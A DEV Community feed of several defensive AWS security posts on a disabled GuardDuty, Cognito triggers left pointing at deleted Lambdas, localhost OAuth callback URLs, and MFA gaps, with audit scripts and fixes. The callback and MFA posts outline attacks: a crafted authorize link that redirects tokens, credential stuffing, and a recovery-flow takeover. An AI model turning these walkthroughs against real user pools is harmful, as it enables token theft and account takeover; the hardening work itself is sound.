DEV Community: Bala Paranj

The Detection Layer That Was Quietly Off: GuardDuty Disabled on an AWS Account

Bala Paranj — Wed, 16 Sep 2026 12:02:30 +0000

A researcher looked at an AWS account and asked a question most don't run as part of a configuration audit: is the threat-detection layer actually on? CloudTrail was logging. CloudWatch metric filters were watching for unauthorised API calls. The SNS topic was wired up. But GuardDuty was disabled. This layer correlates those logs into "this looks like account compromise".

This is report HackerOne #3022516. The cost of the fix is one CLI call. The cost of operating without it is invisible until the day something goes wrong, at that point the absence of GuardDuty is the difference between an alert that arrives and an alert that never arrives.

What the configuration looked like

The misconfiguration is the kind a scanner finds boring because nothing is wrong with the resources you have. The wrong thing is the resource you don't have.

{
  "audit_trail": {
    "kind": "trail",
    "multi_region_enabled": true
  },
  "monitoring": {
    "kind": "account",
    "metric_filters": {
      "unauthorized_api_calls": { "exists": true }
    },
    "alarms": {
      "unauthorized_api_calls": {
        "exists": true,
        "sns_topic_arn": "arn:aws:sns:us-east-1:123456789012:security-alerts"
      }
    }
  },
  "threat_detection": {
    "enabled": false
  }
}

CloudTrail: multi-region, ✓
Metric filter: present, ✓
Alarm with SNS topic: configured, ✓
GuardDuty: off

The first three lull every checklist scanner into reporting a good account. The fourth is invisible to dashboards that only check the resources you've already created.

Why the layers matter together

The detection stack on AWS is composed, not redundant. CloudTrail records what happened. CloudWatch metric filters surface specific patterns in those records. GuardDuty is the one that asks "do the records, together, look like reconnaissance, instance compromise, or credential abuse?" The three layers each do something the others can't:

CloudTrail alone gives you a haystack. Every API call across every service. Storage and retention, but no signal.
CloudWatch metric filters are pattern matches. They catch the purpose of the filter you wrote. A new attack technique that fires a different API call passes through.
GuardDuty is the behavioural layer. It correlates VPC Flow Logs + CloudTrail + DNS query logs against known-bad indicators and statistical baselines. It detects the patterns the metric filter author didn't think to write.

When GuardDuty is off, the first two layers are recording without anyone watching. The audit trail will help you write the post-mortem many months after the breach, when you finally know to look. It will not help you catch the breach in progress.

Why a scanner misses this

Checklist scanners check resources. They iterate through your S3 buckets, IAM roles, security groups and CloudTrails. Each resource gets evaluated. Each setting on each resource gets flagged.

GuardDuty's disabled state is not a setting on a resource. It's the absence of a resource. In AWS terms, you have not created a aws_guardduty_detector. There is nothing for the scanner to iterate over. The scan completes successfully. The dashboard turns green. The detection layer is off.

This is the same shape as the no logging gap and the no backups gap: a scanner that only looks at what exists cannot tell you what should exist but doesn't. The correct question is "does the account have a detector?" A presence check, not an attribute check. Most CSPM tools added detector-presence rules eventually, but they are special-case logic, not the default scanner shape.

The system invariant

The invariant:

This is the entire control. The cost of enforcing it is one boolean check per account per snapshot. The cost of not enforcing it is invisible until something fires that GuardDuty would have caught.

What Stave models

Stave projects the account asset with three sub-blocks: audit_trail (CloudTrail), monitoring (CloudWatch metric filters + alarms), and threat_detection (GuardDuty). Three independent presence checks, three independent controls.

The GuardDuty control is small:

id: CTL.GUARDDUTY.ENABLED.001
name: Amazon GuardDuty Must Be Enabled
severity: high
compliance:
  soc2: "CC7.1"
  pci_dss_v4.0: "5.2"
  nist_800_53_r5: "SI-3"
  iso_27001_2022: "A.8.16"
unsafe_predicate:
  all:
    - field: properties.threat_detection.enabled
      op: eq
      value: false

attack_stage: detection_evasion in the params block tells the chain engine that this control's failure is in the "blinding the defender" lane. The same lane as CTL.CLOUDTRAIL.ENABLED.001 and CTL.CLOUDWATCH.MONITOR.UNAUTH.001. When two or three of these fire together, the chain engine produces a compound finding: the account has multiple detection layers off at the same time, which is the precondition for "we got breached and nobody saw it."

The finding

Run the fixture:

cd stave && make build

# The fixture ships two snapshots (T1 unsafe, T2 remediated). Evaluate the T1
# snapshot in isolation to see the finding the report describes; remove T1
# from the temp dir below to see the remediated state produce zero findings.
tmp=$(mktemp -d)
cp testdata/e2e/e2e-h1-aws-3022516/observations/2025-03-04T000000Z.json "$tmp/"

./stave apply \
  --controls testdata/e2e/e2e-h1-aws-3022516/controls \
  --observations "$tmp" \
  --max-unsafe 168h \
  --eval-time 2025-03-15T00:00:00Z \
  --allow-unknown-input \
  --format json | jq '.findings[0]'

{
  "control_id": "CTL.GUARDDUTY.ENABLED.001",
  "control_severity": "high",
  "asset_id": "acct-123456789012",
  "evidence": {
    "misconfigurations": [
      {
        "property": "threat_detection.enabled",
        "actual_value": false,
        "operator": "eq",
        "unsafe_value": false
      }
    ]
  },
  "remediation": {
    "description": "GuardDuty is not enabled. Threats are not being detected.",
    "action": "Enable GuardDuty: aws guardduty create-detector --enable"
  }
}

actual_value: false against unsafe_value: false — a one-field finding that names the property and the command to flip it. No ambiguity, severity-vs-likelihood debate or human-in-the-loop interpretation required.

The remediation

aws guardduty create-detector --enable

For an Organization-wide rollout, delegate GuardDuty administration once and enable for every member account through the delegated admin. The cost of enabling GuardDuty is the cost of the events it processes. Typically tens of dollars per account per month which is also the cost of having visibility into account compromise. Most organisations have already paid more than that in CloudTrail storage they aren't actively reading.

The preventive control is a Config Rule (or SCP, or AWS Organizations central-policy) that asserts every member account in the organisation has at least one active detector. The same rule, expressed as a Stave invariant, runs across every snapshot and produces a deterministic verdict at every snapshot timestamp.

The verification

After enabling:

aws guardduty list-detectors --query 'DetectorIds[0]' --output text

The detector ID is the proof of presence. Snapshot the account again; re-run stave apply; the finding disappears. The verification is the same shape as the detection. Both run against the same fact base, both produce the same deterministic verdict.

Why this case generalises

Most cloud security tooling is shaped around "what's wrong with the things you have." That bias misses an entire class of findings shaped around "what's missing from what you should have." GuardDuty disabled is one example. CloudWatch metric filter for unauthorised API calls absent is another. CloudTrail trail not multi-region is a third.

The unifying invariant is presence:

Stave checks this with three controls that share the same attack_stage: detection_evasion tag, so the chain engine surfaces the compound finding when more than one is true. The HackerOne report named one disabled layer. The compound case where two or three disabled at once is the breach scenario that costs $300M and takes nine months to detect.

The fixture for this report is testdata/e2e/e2e-h1-aws-3022516/ in the Stave repo. The control library that catches it is at stave/controls/guardduty/. The cost of running both, on every snapshot, in CI, with deterministic output, is almost zero.

How this relates to existing compliance mods

Framework-coverage tools like turbot/steampipe-mod-aws-compliance check GuardDuty's configuration thoroughly when it's enabled such as detector retention, finding-publishing frequency, S3 protection, EKS audit-log protection, all enumerated against CIS and AWS Foundational Security Best Practices benchmarks. What no per-resource framework check models well is the presence invariant: across every member account in the organization, does at least one active detector exist? Stave's three attack_stage: detection_evasion controls compose via the chain engine into the compound finding the H1 report describes. The moment two or three detection layers go dark together is when the breach window opens. Different shape, different tool; both run in Powerpipe side by side. The comparison is at
aws-compliance-mod.

The Lambda Trigger You Deleted is Still Authenticating Users

Bala Paranj — Tue, 15 Sep 2026 09:43:59 +0000

You deleted a Lambda function six months ago. The code is gone. The CloudWatch logs stopped. The function doesn't appear in the Lambda console.

But the Cognito user pool still references it. Every authentication attempt invokes a trigger that points to a function that doesn't exist. Depending on which trigger it is, the result ranges from silent authentication failures to bypassed validation logic.

Your scanner doesn't flag this. The Lambda check says "function doesn't exist" (correct, you deleted it). The Cognito check says "trigger is configured" (correct, the reference was never cleaned up). Neither check connects the two facts: the trigger points to nothing.

That's a ghost reference. It's breaking your authentication flow right now.

Ghost References

A ghost reference is a configuration that points to a resource that no longer exists. The pointer remains after the target is deleted. AWS doesn't clean up cross-service references automatically. That's the customer's responsibility under the shared responsibility model.

Ghost references are everywhere in cloud infrastructure:

A Cognito user pool trigger pointing to a deleted Lambda function
An S3 event notification targeting a deleted SNS topic
An API Gateway integration pointing to a deleted Lambda
A CloudWatch alarm sending to a deleted SNS subscription
A Route 53 CNAME pointing to a decommissioned S3 bucket
An IAM role trust policy allowing a deleted account to assume it

Each one is a configuration that references something that isn't there. The reference isn't invalid in the syntactic sense. The ARN is well-formed, the configuration passes schema validation. It's invalid in the semantic sense. The target doesn't exist, so the reference does nothing, does the wrong thing, or creates a security gap.

Cognito triggers and what happens when they're ghosts

Cognito user pools support Lambda triggers at multiple points in the authentication flow:

Trigger	When it fires	What a ghost does
Pre Sign-up	Before a new user is registered	Ghost: registration proceeds without custom validation. Blocked users can register.
Pre Authentication	Before credentials are verified	Ghost: authentication proceeds without custom checks. IP blocklists, risk scoring, device validation are skipped.
Post Authentication	After successful login	Ghost: audit logging, session enrichment, and downstream notifications don't fire. Login succeeds but nobody knows.
Custom Message	When Cognito sends email/SMS	Ghost: messages fail silently or use default templates that may lack required compliance text.
Pre Token Generation	Before tokens are issued	Ghost: custom claims aren't added to tokens. Downstream services that check custom claims may fail or grant wrong access.
Post Confirmation	After email/phone verification	Ghost: onboarding workflows don't execute. New users exist but aren't provisioned in downstream systems.
Define Auth Challenge	For custom auth flows	Ghost: custom auth flow breaks. Users can't authenticate through the custom path.
Create Auth Challenge	For custom auth flows	Ghost: same as above. Custom challenges can't be created.
Verify Auth Challenge	For custom auth flows	Ghost: challenge responses can't be verified. Either authentication fails or falls back to a less secure path.

The Pre Sign-up and Pre Authentication ghosts are the most dangerous. A deleted Pre Sign-up trigger means every registration validation rule you implemented in that Lambda such as email domain restrictions, blocklist checks, CAPTCHA verification is gone. Users your validation would have blocked can now register freely.

A deleted Pre Authentication trigger means every login-time check such as IP reputation, device fingerprinting, concurrent session limits, brute-force detection is gone. The authentication succeeds without any of the custom security logic you built.

Why this happens

Lambda functions get deleted for legitimate reasons:

A developer refactors the auth flow and deploys a new function with a different name
An automated cleanup script removes functions with no recent invocations (the ghost trigger means no invocations, which triggers the cleanup, which ensures the ghost persists)
A team migrates from Lambda-based triggers to Cognito's built-in features but forgets to remove the trigger configuration
An infrastructure-as-code update removes the Lambda resource but doesn't update the Cognito user pool resource

The Cognito user pool doesn't validate that trigger targets exist. It stores the ARN and attempts to invoke it. If the function doesn't exist, the invocation fails. What happens next depends on the trigger type and the pool's error handling configuration.

The feedback loop that hides the problem

Ghost triggers create a self-concealing feedback loop:

Lambda is deleted → trigger invocation fails
CloudWatch logs nothing (the function doesn't exist, so there are no invocation logs)
Cognito may or may not log the trigger failure (depends on advanced security settings)
Authentication succeeds or fails silently (depends on trigger type)
No alert fires (because the monitoring was on the Lambda function, which is deleted)
Nobody notices (because the dashboard checks "is the trigger configured?" — yes — and "does the Lambda exist?" — checked against the Lambda console, which shows nothing)

The two checks exist in different dashboards. The Cognito dashboard shows a trigger is configured. The Lambda dashboard shows no function. Nobody connects the dots because the tools check each service independently.

What compound detection finds

Analyzing the full configuration snapshot consisting of Cognito user pool AND Lambda function inventory together reveals what per-service checks miss.

Ghost reference detection compares every Cognito trigger ARN against the Lambda function inventory. If the trigger points to a function that doesn't exist in the snapshot, it's a ghost. This is a cross-service join: Cognito configuration references Lambda inventory. No single-service check can perform this join.

For a user pool with four ghost triggers (Pre Sign-up, Pre Authentication, Custom Message, Post Confirmation), static analysis finds:

Four individual ghost findings One per trigger type, each explaining what security logic is bypassed:

[HIGH] Pre Sign-up trigger references deleted Lambda
       → Registration validation is bypassed. Custom blocklists,
         email domain restrictions, and CAPTCHA checks are not enforced.

[HIGH] Pre Authentication trigger references deleted Lambda
       → Login-time security checks are bypassed. IP reputation,
         device fingerprinting, and brute-force detection are not enforced.

[MEDIUM] Custom Message trigger references deleted Lambda
         → Messages use default Cognito templates. Compliance-required
           text may be missing from verification emails.

[MEDIUM] Post Confirmation trigger references deleted Lambda
         → Onboarding workflows don't execute. New users exist in
           Cognito but may not be provisioned in downstream systems.

One compound chain — cognito_ghost_authflow fires when multiple ghost triggers exist on the same user pool. The compound is more severe than any individual ghost because it means the entire custom auth flow is absent, not just one check. The authentication pipeline is running on Cognito's defaults with zero custom security logic.

SMT satisfiability checking asks: "Is there a user pool where a ghost trigger exists AND the trigger type is Pre Authentication?" Answer: sat. Witness: the specific user pool and trigger ARN. After cleanup (removing the stale trigger configuration), the query returns unsat where no ghost references remain.

The fix

Two options:

Option A: Remove the stale trigger (if the Lambda is no longer needed)

# Remove the trigger from the user pool configuration
aws cognito-idp update-user-pool \
  --user-pool-id us-east-1_xxxxx \
  --lambda-config '{}'

This clears all triggers. If some triggers are still valid, specify only those in the lambda-config JSON and omit the stale ones.

Option B: Re-create the Lambda (if the trigger logic is still needed)

# Deploy a new function with the same logic
# Update the trigger to point to the new function ARN
aws cognito-idp update-user-pool \
  --user-pool-id us-east-1_xxxxx \
  --lambda-config '{"PreSignUp": "arn:aws:lambda:us-east-1:123:function:new-presignup"}'

Option A is appropriate when the custom logic was replaced by Cognito's built-in features (e.g., built-in email verification replaced a custom verification Lambda). Option B is appropriate when the custom logic is still needed and was accidentally deleted.

How to check your own environment

# List your user pools
aws cognito-idp list-user-pools --max-results 20

# For each pool, get the trigger configuration
TRIGGERS=$(aws cognito-idp describe-user-pool \
  --user-pool-id <pool-id> \
  | jq -r '.UserPool.LambdaConfig | to_entries[] | .value')

# For each trigger ARN, check if the Lambda exists
for arn in $TRIGGERS; do
  func_name=$(echo "$arn" | grep -oP '(?<=function:)[^:]+')
  exists=$(aws lambda get-function --function-name "$func_name" 2>&1)
  if echo "$exists" | grep -q "ResourceNotFoundException"; then
    echo "GHOST: $arn — Lambda does not exist"
  else
    echo "OK:    $arn"
  fi
done

If any trigger prints GHOST, you have a ghost reference. The authentication logic that trigger was supposed to enforce is not running.

The broader pattern

Ghost references are not a Cognito problem. They're a lifecycle problem. Every cloud service that references another service creates the possibility of a ghost when the target is deleted without updating the reference.

The most dangerous ghosts are the ones in the authentication path. Because they silently disable security logic instead of visibly breaking functionality. A ghost S3 event notification is a missed alert. A ghost Cognito Pre Authentication trigger is a disabled security check that nobody notices for months.

The tools that check each service independently will never find ghosts. A ghost is by definition a cross-service inconsistency: the reference exists in Service A, the target doesn't exist in Service B. Finding it requires comparing the configuration of both services in the same analysis. That's a compound check and it's the check your scanner doesn't perform.

Ghost reference detection is a core capability of Stave, an open-source static analysis tool with 3,000+ controls across 100+ AWS service domains. Stave evaluates cloud configurations via CEL predicates and exports standardized facts for consumption by external reasoning engines all from air-gapped snapshots without any cloud credentials.

One Callback URL Misconfiguration Leaks Every OAuth Token

Bala Paranj — Mon, 14 Sep 2026 11:35:38 +0000

Your Cognito app client has http://localhost:3000/callback in its allowed callback URLs. It was added during development. Nobody removed it.

That URL is now a token exfiltration endpoint. An attacker crafts an authorization link that redirects the OAuth response containing the user's access token, ID token, and refresh token to any server running on localhost. On a compromised workstation, a shared development machine, or any environment where the attacker can bind to port 3000, every token issued by your application is interceptable.

OWASP ranks open redirect and OAuth misconfiguration in its Top 10. Bug bounty platforms pay consistently for callback URL findings. The fix takes thirty seconds. The misconfiguration has been live since your first sprint.

How the attack works

OAuth 2.0 authorization code flow with Cognito:

1. User clicks "Login with Google/Facebook/SSO"
2. Browser redirects to Cognito's /authorize endpoint
3. User authenticates with the identity provider
4. Cognito redirects to the callback URL with the authorization code
5. App exchanges the code for tokens

Step 4 is where the vulnerability lives. Cognito checks that the redirect URI matches one of the app client's allowed callback URLs. If http://localhost:3000/callback is in the list, this redirect is valid:

https://your-app.auth.us-east-1.amazoncognito.com/authorize?
  client_id=abc123&
  response_type=code&
  redirect_uri=http://localhost:3000/callback&
  scope=openid+email+profile

The user sees a legitimate login page. They authenticate. Cognito sends the authorization code to http://localhost:3000/callback. If the attacker controls what's listening on port 3000 of the user's machine, they receive the code. They exchange it for tokens. They have the user's session.

With implicit grant flow (still enabled on many app clients), it's worse. The tokens are in the URL fragment directly. No code exchange needed:

http://localhost:3000/callback#access_token=eyJhbG...&id_token=eyJhbG...

The attacker's listener on localhost receives the tokens in the URL. No additional request to Cognito. Instant session hijack.

The five callback URL mistakes

The localhost case is the most common, but not the only dangerous pattern:

1. `http://localhost:3000/callback`

Development URL left in production configuration. Exploitable on any machine where the attacker can bind to the port such as compromised workstations, shared dev servers, CI runners with exposed ports.

2. `http://localhost:*` or wildcard port patterns

Some teams add multiple localhost variants (ports 3000, 3001, 8080) or use patterns. Each port is an additional listener the attacker can target.

3. `https://*.example.com/callback`

Wildcard subdomain matching. If the attacker can create any subdomain (via subdomain takeover on a decommissioned S3 bucket, Route 53 dangling CNAME, or a compromised development environment), they can register attacker.example.com and receive the redirect.

4. `https://example.com/callback` without HTTPS enforcement

If the app client allows http:// callbacks alongside https://, a network-level attacker (coffee shop wifi, compromised router) can intercept the redirect before it reaches the legitimate server.

5. `https://staging.example.com/callback`

Staging environment callback left in the production app client. If staging has weaker access controls, logging, or monitoring, the attacker redirects production tokens to the staging endpoint and extracts them from staging logs or staging's weaker database protections.

What your scanner checks

Every cloud security scanner checks the Cognito app client individually:

"Is the client secret enabled?" — Maybe. Public clients (SPAs, mobile apps) don't use client secrets.
"Are OAuth scopes restricted?" — Depends on the app's needs.
"Is the callback URL configured?" — Yes, it's configured. The scanner sees a URL is present.

No scanner asks: "Does the callback URL list contain entries that would allow an attacker to redirect tokens to a server they control?" That's not a boolean check. It requires understanding which URL patterns are safe (production HTTPS endpoints) and which are dangerous (localhost, wildcards, HTTP, staging environments).

The compound pattern

The callback URL misconfiguration alone is a vulnerability. Combined with other app client settings, it becomes a chain:

Token theft + no token revocation:
App client has EnableTokenRevocation = false. Once the attacker has the tokens, the legitimate user can't invalidate them. The attacker's session persists until the tokens expire which, with a refresh token, can be indefinitely.

Token theft + long-lived tokens:
App client has AccessTokenValidity = 24 hours and RefreshTokenValidity = 365 days. The attacker's window for using stolen tokens expands from minutes to a year.

Token theft + implicit grant enabled:
App client has AllowedOAuthFlows = ["implicit"]. Tokens appear directly in the URL with no code exchange needed. The attack is simpler and harder to detect because there's no server-side code exchange to log.

Token theft + broad scopes:
App client has AllowedOAuthScopes = ["openid", "email", "profile", "aws.cognito.signin.user.admin"]. The aws.cognito.signin.user.admin scope allows the token holder to call Cognito user management APIs — read user attributes, change email, change password. Token theft escalates to account takeover.

Each setting is individually configurable. The compound consisting of open redirect + no revocation + long-lived tokens + admin scope creates a scenario where one stolen token gives the attacker persistent, privileged, irrevocable access to the user's account and potentially to backend AWS resources via the identity pool's role mapping.

What compound detection finds

Running this configuration through static analysis that checks interactions across app client settings:

Individual findings:

[HIGH]   Callback URL includes localhost entry
[MEDIUM] Token revocation disabled
[MEDIUM] Access token validity exceeds 1 hour
[LOW]    Implicit grant flow enabled alongside authorization code flow
[MEDIUM] Admin user scope included in allowed scopes

Five individual findings, three different severity levels. A security team triaging by severity works the HIGH first and queues the MEDIUMs for next sprint.

Compound finding:

[CRITICAL] Open redirect token theft chain
           Callback URL allows attacker-controlled redirect
           + tokens are irrevocable
           + token lifetime is 24 hours
           + admin scope grants account management
           = persistent privileged account takeover

           Fix: Remove localhost from callback URLs ($0, 30 seconds)
           Impact: Blocks the entire chain at step 1

One compound finding, CRITICAL severity, with the fix that costs nothing and blocks the entire chain. The compound view changes the prioritization: this isn't a MEDIUM that can wait for next sprint. It's a CRITICAL that blocks with a 30-second fix.

The fix

# List your app clients
aws cognito-idp list-user-pool-clients \
  --user-pool-id <pool-id> \
  --max-results 20

# For each client, check callback URLs
aws cognito-idp describe-user-pool-client \
  --user-pool-id <pool-id> \
  --client-id <client-id> \
  | jq '.UserPoolClient.CallbackURLs'

# Remove dangerous entries
aws cognito-idp update-user-pool-client \
  --user-pool-id <pool-id> \
  --client-id <client-id> \
  --callback-urls "https://app.example.com/callback"

Remove every callback URL that isn't a production HTTPS endpoint. Specifically:

Remove all http://localhost* entries
Remove all http:// entries (non-HTTPS)
Remove all wildcard subdomain entries unless you control DNS for the entire domain
Remove all staging/development environment entries from production app clients
Separate staging and production app clients if they don't exist as separate clients already

Then fix the compound:

# Enable token revocation
aws cognito-idp update-user-pool-client \
  --user-pool-id <pool-id> \
  --client-id <client-id> \
  --enable-token-revocation

# Reduce token lifetime
aws cognito-idp update-user-pool-client \
  --user-pool-id <pool-id> \
  --client-id <client-id> \
  --access-token-validity 60 \
  --token-validity-units '{"AccessToken":"minutes"}'

# Remove admin scope if not needed
aws cognito-idp update-user-pool-client \
  --user-pool-id <pool-id> \
  --client-id <client-id> \
  --allowed-o-auth-scopes "openid" "email" "profile"

The callback URL fix blocks the chain entirely. The other fixes are defense in depth. They reduce the impact if a different token exfiltration vector is found in the future.

How to check your own environment

# Scan all app clients across all user pools for dangerous callback URLs
for pool in $(aws cognito-idp list-user-pools --max-results 60 \
  | jq -r '.UserPools[].Id'); do
  for client in $(aws cognito-idp list-user-pool-clients \
    --user-pool-id "$pool" --max-results 60 \
    | jq -r '.UserPoolClients[].ClientId'); do

    callbacks=$(aws cognito-idp describe-user-pool-client \
      --user-pool-id "$pool" --client-id "$client" \
      | jq -r '.UserPoolClient.CallbackURLs[]?' 2>/dev/null)

    for url in $callbacks; do
      case "$url" in
        http://localhost*) echo "DANGEROUS: $pool/$client → $url (localhost)" ;;
        http://*) echo "WARNING:   $pool/$client → $url (non-HTTPS)" ;;
        *\**) echo "WARNING:   $pool/$client → $url (wildcard)" ;;
      esac
    done
  done
done

If any line prints DANGEROUS, you have a live token exfiltration endpoint in your production OAuth configuration.

The thirty-second rule

This vulnerability has been in your configuration since the first developer added http://localhost:3000/callback to test the OAuth flow. It's been there for months or years. The fix is removing one URL from a list. It takes thirty seconds.

The compound consisting of open redirect + irrevocable tokens + admin scope escalates a thirty-second fix into a career-defining incident. The difference between "we removed a dev URL" and "we had a persistent privileged account takeover chain in production for eighteen months" is whether someone checked the interaction between five app client settings that each looked reasonable on their own.

Your scanner checked each one. It said four of five were fine. The fifth was a MEDIUM. The compound is a CRITICAL. The fix is thirty seconds.

The scenarios in this article are modeled on real configurations found in bug bounty programs and OAuth security assessments. The analysis uses Stave, an open-source static analysis tool that evaluates cloud configurations via CEL predicates and exports standardized facts for consumption by external reasoning engines from air-gapped snapshots without cloud credentials.

Cognito With the Safety Off: MFA Disabled, Advanced Security Disabled

Bala Paranj — Sun, 13 Sep 2026 12:30:45 +0000

A Cognito user pool is an identity perimeter. The pool authenticates customers, issues JWTs the application trusts, and brokers federation to social identity providers. Whatever else the application does for security such as encryption-at-rest, network isolation, audit logging has the user pool decide whether this session gets to call the API at all.

By default, when you create a Cognito user pool through the console or via aws cognito-idp create-user-pool, two settings are off:

MfaConfiguration: OFF
UserPoolAddOns.AdvancedSecurityMode: OFF

Both defaults look small in the console with checkboxes you can flip later. Both defaults are how the bomma report on HackerOne and a long tail of similar disclosures end up shipped to production. The one that gets fixed quickly is MFA. The one that frequently doesn't is Advanced Security.

What "MFA Off" Costs You

The single-factor configuration looks like this in the observation:

{
  "identity": {
    "kind": "user_pool",
    "auth": {
      "mfa_enforced": false,
      "mfa_configuration": "OFF"
    },
    "advanced_security": {
      "enabled": false
    }
  }
}

mfa_configuration: OFF means: passwords alone authenticate. Three attack patterns become trivial:

Credential stuffing. Attackers buy email/password pairs from data-breach dumps. Each pair tests against the application's Cognito sign-in. Attempts that succeed land in valid sessions; the application has no way to tell a credentialed attacker apart from the legitimate user.

Password spraying. A reverse pattern where the attacker takes one weak password (Summer2025!, Welcome2026!) and tries it against thousands of known-valid usernames. Cognito's per-user lockout fires on the wrong threshold (multiple failures against one account); a one-failure-per-account spray walks right past it.

Phishing-recovered passwords. A successful phishing campaign yields the user's password. With MFA off, that's the entire authentication factor; the attacker signs in directly.

advanced_security: enabled: false is the layer that would catch these. Cognito's Advanced Security features run a risk model on each sign-in attempt (unusual location, impossible travel, known compromised credentials from external feeds) and either challenge the user with MFA, block the sign-in, or notify the user. With it off, none of that runs. The risk model that AWS built into the service is feature-flagged behind a paywall the operator chose not to pay.

What The Bomma Report Showed

Bomma's HackerOne report described an account-takeover chain that started with two configuration choices:

The user pool used email as the username alias.
The user pool did not require email verification on change.

Together these mean: an attacker who can update a victim's email (via a separate flaw, e.g., parameter pollution in a profile-update endpoint) can change the victim's email to one the attacker controls, then reset the password using the standard "forgot password" flow.

MFA-off made the password reset also the session takeover. With MFA on, the attacker would need the victim's MFA factor too and the attacker doesn't have it. With Advanced Security on, the unusual-location sign-in that follows the password reset would have challenged the attacker for additional verification. With both off, the password reset is the breach.

The other Cognito attributes (email_change_verification_enforced: false, alias_attributes: ["email"]) are the upstream contributors. The CTL.COGNITO.INCOMPLETE.001 control catches that exact shape. This article focuses on the MFA leg of the cluster because MFA is the simplest, highest-leverage fix.

The System Invariant

The phrasing is intentional. Internal-only pools (for back-office tools used only by employees with separate SSO) sometimes legitimately disable MFA at the pool level because the upstream IdP enforces it. That carve-out is enumerated by scope_tags on the asset; the control fires by default and consumers opt out at the pool level when the carve-out applies.

In Stave's observation schema:

{
  "id": "arn:aws:cognito-idp:us-east-1:111122223333:userpool/us-east-1_acmeApp",
  "type": "aws_cognito_user_pool",
  "properties": {
    "identity": {
      "kind": "user_pool",
      "auth": {
        "mfa_enforced": false,
        "mfa_configuration": "OFF"
      },
      "advanced_security": {
        "enabled": false
      }
    }
  }
}

mfa_enforced is the engine's verdict (true only when MfaConfiguration is ON and at least one second factor such as TOTP or SMS is enabled); advanced_security.enabled carries the adaptive-auth state.

The Stave Control

id: CTL.COGNITO.MFA.001
name: Cognito User Pool Must Enforce MFA
severity: high
unsafe_predicate:
  all:
    - field: properties.identity.kind
      op: eq
      value: user_pool
    - field: properties.identity.auth.mfa_enforced
      op: eq
      value: false

Two leaf clauses. Severity is high. The user pool is a customer-facing perimeter, but the control fires on capability, not confirmed compromise.

Why Z3 Doesn't Help

The collector observes booleans, the predicate evaluates them. No search space, no quantification.

A reachability question: "given this pool's app-client configuration, is there an ExplicitAuthFlows value that bypasses MFA even when MfaConfiguration: ON?" would be Z3-shaped. That's checked by CTL.COGNITO.MFA.ENFORCE.001 at the app-client layer. Not in scope here.

Reproducing The Detection

The repository ships a self-contained example at stave/examples/cognito-no-mfa-advanced-security/:

go run ./examples/cognito-no-mfa-advanced-security before

Captured stdout:

=== before (MFA off, advanced security off) ===
  status: NON_COMPLIANT   total_assets=1   violations=1
  CTL.COGNITO.MFA.001 fired on 1 asset(s):
    - arn:aws:cognito-idp:us-east-1:111122223333:userpool/us-east-1_acmeApp   severity=high   exposure_score=76.64
  assertion: fires=true (expected) ✓

After both flags are turned on:

=== after  (MFA enforced, advanced security on) ===
  status: COMPLIANT   total_assets=1   violations=0
  CTL.COGNITO.MFA.001: no findings
  assertion: fires=false (expected) ✓

The Remediation

Two aws calls and a Terraform-or-equivalent change for permanence:

aws cognito-idp set-user-pool-mfa-config \
  --user-pool-id us-east-1_acmeApp \
  --mfa-configuration ON \
  --software-token-mfa-configuration Enabled=true

aws cognito-idp update-user-pool \
  --user-pool-id us-east-1_acmeApp \
  --user-pool-add-ons AdvancedSecurityMode=ENFORCED

In Terraform:

resource "aws_cognito_user_pool" "main" {
  name = "acme-customer-portal-pool"

  mfa_configuration = "ON"
  software_token_mfa_configuration {
    enabled = true
  }

  user_pool_add_ons {
    advanced_security_mode = "ENFORCED"
  }
}

The ENFORCED mode (vs AUDIT) turns Advanced Security from "log the risk" into "challenge or block." AUDIT mode is occasionally the right choice for greenfield rollouts where the team needs to see what the risk model would have done before turning the enforcement on; for steady-state, ENFORCED is the target.

The Prevention Lesson

Three layers, by priority:

Account-creation default. The IaC module that creates a Cognito user pool sets mfa_configuration = "ON" and advanced_security_mode = "ENFORCED" by default. Pools that legitimately need different settings (back-office tools fronted by SSO, etc.) opt out via an explicit flag the module author has to set deliberately. The default is the safe configuration.

Console-creation guard via SCP. Most operators create user pools via the AWS console. A Service Control Policy denies cognito-idp:CreateUserPool from any non-bootstrap principal:

{
  "Sid": "DenyConsoleUserPoolCreation",
  "Effect": "Deny",
  "Action": "cognito-idp:CreateUserPool",
  "Resource": "*",
  "Condition": {
    "ArnNotLike": {
      "aws:PrincipalArn": "arn:aws:iam::*:role/CognitoAdmin"
    }
  }
}

The operator who needs a new pool goes through the admin role (which uses the IaC module). Console creation simply isn't available.

stave apply in CI against the post-deploy observation snapshot. The example shipped with this article is the template. PRs that introduce a user pool with mfa_enforced: false produce exit code 3.

Checklist

[ ] Customer-facing Cognito user pools have MfaConfiguration: ON and at least one second factor enabled
[ ] AdvancedSecurityMode is ENFORCED (not OFF, not stuck in AUDIT)
[ ] IaC module for user-pool creation sets MFA and Advanced Security as defaults; carve-outs are explicit and reviewed
[ ] SCP denies console user-pool creation for non-admin principals
[ ] stave apply runs in CI against post-deploy observations; PRs with mfa_enforced: false fail

The user pool is the perimeter. The MFA flag is the second factor that makes credential theft an incomplete attack. The Advanced Security flag is the layer that catches the credential theft before the second factor matters. Cognito ships both off, and the team that ships them off-by-default ships the bomma vulnerability class with them.

The example at stave/examples/cognito-no-mfa-advanced-security/ is a self-contained Go program that loads two fixture snapshots, runs pkg/stave.Apply, asserts that CTL.COGNITO.MFA.001 fires on the MFA-off fixture and is silent on the remediated one, and exits zero when both assertions hold. Stave detects this pattern and 31 other H1-grounded scenarios from local AWS configuration snapshots, with no cloud credentials.

Your MFA is Enabled. Your Recovery Flow Bypasses It.

Bala Paranj — Sat, 12 Sep 2026 12:16:21 +0000

Your security team enabled MFA on the Cognito user pool. The compliance dashboard shows green. The SOC 2 auditor checked the box. MFA is deployed.

Except the account recovery flow doesn't require it. A user who clicks "Forgot password" authenticates with just an email verification code without TOTP, SMS second factor or hardware key. The recovery flow is an unauthenticated path around the MFA your team spent three sprints deploying.

Your scanner reports "MFA: Enabled." It's telling the truth. It's also missing the point.

How the bypass works

Cognito user pools have two authentication paths:

Path A: Normal login (MFA enforced)

Username + Password → MFA Challenge → TOTP/SMS code → Authenticated session

This is security team configured. This is auditor verified. This works correctly.

Path B: Account recovery (MFA bypassed)

"Forgot password" → Email verification code → New password set → Authenticated session

No MFA challenge. The user proves they own the email address (a single factor), sets a new password, and gets a fully authenticated session. The MFA enforcement applies to Path A only. Path B is a parallel entry point that skips it.

An attacker who compromises a user's email (phishing, credential stuffing, email provider breach) can:

Go to the app's login page
Click "Forgot password"
Receive the verification code at the compromised email
Set a new password
Log in without MFA challenge

